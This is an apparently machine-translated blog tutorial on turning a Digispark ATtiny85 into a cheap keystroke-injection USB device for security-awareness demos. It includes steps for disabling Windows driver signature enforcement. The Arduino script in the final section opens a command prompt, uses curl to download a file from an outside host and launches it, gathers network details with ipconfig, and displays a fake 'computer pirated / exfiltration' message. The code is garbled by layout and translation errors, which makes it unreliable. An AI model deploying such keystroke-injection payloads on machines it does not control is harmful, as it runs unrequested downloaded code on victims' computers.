我想提高人们对未知USB闪存驱动器危险的认识。

一 号 》

我的目标

在培训IT用户方面,提高他们对使用未知USB棒相关风险的认识至关重要。

为了有所作为,实际的演示往往比简单的演讲更有效。 这就是为什么我想得到一个能够模拟计算机损坏的USB棒,以便具体显示所涉及的危险。

橡皮鸭是黑客使用的USB棒,但它们的成本往往令人望而却步。 因此,我正在寻找一种更经济的解决方案来创建这种意识工具。

简而言之,我想找到一种负担得起的橡胶鸭替代品,让用户意识到使用未知USB棒相关的风险,使用能够模拟计算机损坏的USB棒。

什么是Rubber Duckys?

橡胶鸭子是USB棒,设计用于模拟连接到计算机时的键盘。 它们经常被黑客用来执行按键注入攻击,其中包括模拟键盘按键以在目标计算机上执行恶意命令。

橡皮鸭配备了可编程微控制器,可以存储预先录制的脚本。 当连接到计算机时,它们的行为就像一个标准的USB键盘,并且可以以非常高的速度发送预先录制的键序列,允许在几秒钟内执行复杂的命令。

橡皮鸭通常用于渗透测试或IT安全演示,但它们也可以用于恶意目的,例如数据窃取或恶意软件的安装。 因此,重要的是要让用户意识到与使用未知USB棒相关的风险,并采取适当的安全措施来保护计算机免受击键注入攻击。

正如上一段所解释的那样,我的目标是提高用户对IT工具的认识,并向他们展示将未知的USB棒插入计算机的危险性。

这是橡胶鸭的价格,因此我希望找到另一种解决方案,价格是消除我将拥有的有用性。

我将使用配备ATTINY85的Digispark Rev. 3。

我将使用更轻的设备,因为它只有6k的内存,但这已经足够了,我不会运行一个复杂的脚本。

该设备价值在5到7欧元之间。

你可以订购它。 在中国人中直接 祈祷你有正确的版本或在 亚马逊 3 批次.

连接器不会对我有用,我不会闪烁它。

关于 Digispark ATTINY85

如果我们比较橡胶鸭和Digispark,我们意识到第一个和主要的限制是可用的脚本的存储容量。

ATtiny85微控制器具有8 KB的闪存,但该内存的一部分用于存储引导加载程序和应用程序代码。 一般来说,在Digispark ATtiny85密钥上存储数据的可用内存量约为6 KB。 对我来说,这就足够了。

橡皮鸭键具有先进的功能,例如能够模拟键盘以外的USB设备,例如鼠标或外部硬盘驱动器。 Digispark ATtiny85键在这方面受到限制,通常只能模拟USB键盘。 这也适合我。

下载 Digispark 的驱动程序

我会在我的个人电脑上安装Digispark驱动程序。 虽然这似乎是一个复杂而微妙的任务,但重要的是要注意,这种操作只能在我自己的计算机上进行,而不是在损坏模拟所针对的计算机上进行。 事实上,一旦Digispark连接到计算机,它将被识别为键盘。

因此,我上传安装驱动程序所需的文件:

一旦下载和解压缩,将允许安装驱动程序的文件。

由于此驱动程序未签名,通常 Windows 将阻止安装,因此必须暂时禁用强制驱动程序签名。

我禁用飞行员的强制签名

我将暂时禁用计算机上的强制驾驶员签名。 此操作不构成任何风险,下次计算机重新启动时将自动取消。 此步骤对于安装 Digispark 驱动程序是必要的,这些驱动程序尚未由受信任的出版商进行数字签名。

我要进去了 设置 然后 恢复 恢复 按下按钮 现在 重新 启动

然后在重新启动时,选择 故障 排除

然后 高级选项 然后 设置

PC重启和重新启动,以下是选择:

我想要选项7,所以我依靠。 F7 型.

安装 Digispark 驱动程序

我现在可以启动文件了 安装 Drivers.exe

安装 Arduino IDE

Arduino的集成开发环境(IDE)是用于编程Arduino和其他兼容地图的开源软件。 他将允许我输入我想要运行的脚本代码,然后将其上传到Digispark密钥。

没有什么很复杂,一切都会自行解决。

我正在将 Digispark 包集成到 IDE 中。

为了管理Digispark卡,需要使用Digispark包。

启动 IDE Arduino 文件 文件 然后 优惠 优惠.

我必须完成额外的卡管理器URL

在您将在互联网上找到的所有教程和其他文档中,指定此链接:

但在我测试的那天,这个链接不起作用,网站digistump是HS。

以下是我使用的链接:

在 工具 工具, 卡片 牌, 贺卡经理, 打字 键入 digistrump 的 然后点击 安装 安装 从 Digistump AVR 板

然后返回中选择默认卡 工具 工具, 地图 地图, Digistump AVR板 Digisdpark Default 16.5mhz。

 

安装 QWERTY 键盘

为了不被困在要发送的命令的编写上,我在QWERTY中安装了一个美国键盘。 因此,当我输入命令来执行或显示时,我会将键盘切换到ENG。

我输入我的代码/脚本

这是我的剧本:

#包含 <DigiKeyboard.h> void setup(){ //pinMode(1, OUTPUT); // LED 如果声明输出 digitalWrite(1, HIGH); // 打开红色 LED(指示正在执行中) DigiKeyboard.delay(3000); // 等待 3 秒 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print("c;d"); // 写"cmd" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); DigiKeyboard.print("curl 6o;usic<p")# HTTPS>>uploqdsong<netlify<qpp>;usic<p>#" ); // 写"curl -o music.mp3 https://uploadsong.netlify.app/music.mp3" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); DigiKeyboard.print("ipconfig >qll"); // 写"ipconfig /all" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); DigiKeyboard.print(『退出』); // 写"exit" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print(";usic<;p)#" ); // 写 "music.mp3" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(1000); int 颜色=1; {DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print("c;d"); // 写"cmd" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); Switch(color){ 框 0: DigiKeyboard.print("echo off1color)1cls1tree");/// 写"echo off&color 0&cls&tree" break; 方框1: DigiKeyboard.print("echo off1color!1cls1trqcert *<*<*"); // 写"echo off&color 1&cls&tracert 8.8.8"断裂; 方框2: DigiKeyboard.print("echo off1color @1cls1PING google<fr 6n! 方框3: DigiKeyboard.print("echo off1color") #1cls1tree");// 写"echo off&color 3&cls&tree" break; 方框4: DigiKeyboard.print("echo off1color") $1cls1trqcert *<*<<<<*");/// 写"echo off&color 4&cls&tracert 8.8.8"断裂; DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(500); Color++; DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 打开 Windows DigiKeyboard.delay(500)运行时窗口; DigiKeyboard.print("notepqd"); // 写"notepad" DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.print(" Cuckoo // Computer pirqt2< Do;qge "); DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟按 ENTER 按钮同时(颜色 < 15){ DigiKeyboard.sendKeyStroke(KEY_ENTER); // 模拟 ENTRY 按钮 DigiKeyboard.print(" Exfiltrqtion of current data<<<<< "); 延迟(300); Color++; digitalWrite(1, LOW); // 关闭 Led Rouge } void loop(){ }

我尽可能多地评论它。

我上传到 Digispark 键

我不插入键,我开始编译,然后用右边箭头的按钮上传:

当控制台显示插入时 设备 现在, 我可以插入 Digispark 键

上传速度非常快,要么我在脚本启动之前设法删除密钥,要么从第一次启动关键脚本中受益。

一切都结束了,钥匙准备好了。

因此,为了模拟按键注入攻击,只需将密钥滑入USB端口即可。

书目将走得更远